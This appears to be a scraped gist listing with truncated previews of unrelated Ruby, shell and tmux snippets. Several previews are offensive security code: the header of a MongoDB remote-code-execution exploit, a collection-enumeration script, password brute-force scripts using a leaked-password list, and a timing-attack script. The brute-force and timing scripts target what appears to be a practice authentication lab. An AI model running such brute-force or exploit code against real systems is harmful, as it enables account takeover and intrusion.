This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Rails foreign key levels | |
| table_names = (ActiveRecord::Base.connection.tables - %w[ar_internal_metadata schema_migrations]) | |
| $levels = table_names.map do |table_name| | |
| [table_name, 0] | |
| end.to_h | |
| $dependencies = table_names.map do |table_name| | |
| [table_name, []] | |
| end.to_h |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| yay libmagick6 | |
| C_INCLUDE_PATH=/usr/include/ImageMagick-6/ PKG_CONFIG_PATH=/usr/lib/imagemagick6/pkgconfig gem install rmagick -v '2.16.0' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Title: MongoDB nativeHelper.apply Remote Code Execution | |
| # Exploit Author: agixid http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/ | |
| # Software Link: http://fastdl.mongodb.org/linux/mongodb-linux-i686-2.2.3.tgz | |
| # MongoDB Version: 2.2.3 | |
| # Copied from https://www.exploit-db.com/exploits/24947 | |
| # Author: Ugnius Skučas | |
| require 'http' | |
| # MODIFY THESE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'http' | |
| require 'timeout' | |
| require 'parallel' | |
| MAX_COLLECTIONS_LENGTH = 100 | |
| MAX_COLLECTION_NAME_LENGTH = 100 | |
| alpha = ('a'..'z').to_a | |
| numeric = ('0'..'9').to_a | |
| special = [".", "_"] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| set -g base-index 1 | |
| # Automatically set window title | |
| set-window-option -g automatic-rename on | |
| set-option -g set-titles on | |
| #set -g default-terminal screen-256color | |
| set -g status-keys vi | |
| set -g history-limit 10000 | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'http' | |
| require 'parallel' | |
| uri = "https://authlab.digi.ninja/Leaky_JWT_Login" | |
| userlist = File.readlines('users.db').map(&:strip) | |
| passlist = File.readlines('/usr/share/seclists/Passwords/darkweb2017-top1000.txt').map(&:strip) | |
| Parallel.each(userlist, in_threads: 10) do |user| | |
| Parallel.each_with_index(passlist, in_threads: 10) do |pass, index| | |
| response = HTTP.post(uri, form: { username: user, password: pass }) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'http' | |
| require 'parallel' | |
| uri = "https://authlab.digi.ninja/Leaky_JWT_Login" | |
| userlist = File.readlines('users.db').map(&:strip) | |
| passlist = File.readlines('/usr/share/seclists/Passwords/darkweb2017-top1000.txt').map(&:strip) | |
| Parallel.each(userlist, in_processes: 5) do |user| | |
| Parallel.each(passlist, in_processes: 20) do |pass| | |
| response = HTTP.post(uri, form: { username: user, password: pass }) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'http' | |
| require 'timeout' | |
| require 'parallel' | |
| uri = "https://authlab.digi.ninja/Timing_Login" | |
| wordlist = File.readlines('wordlist.txt') | |
| Parallel.each(wordlist, in_processes: 10) do |word| | |
| begin | |
| Timeout.timeout(1) do |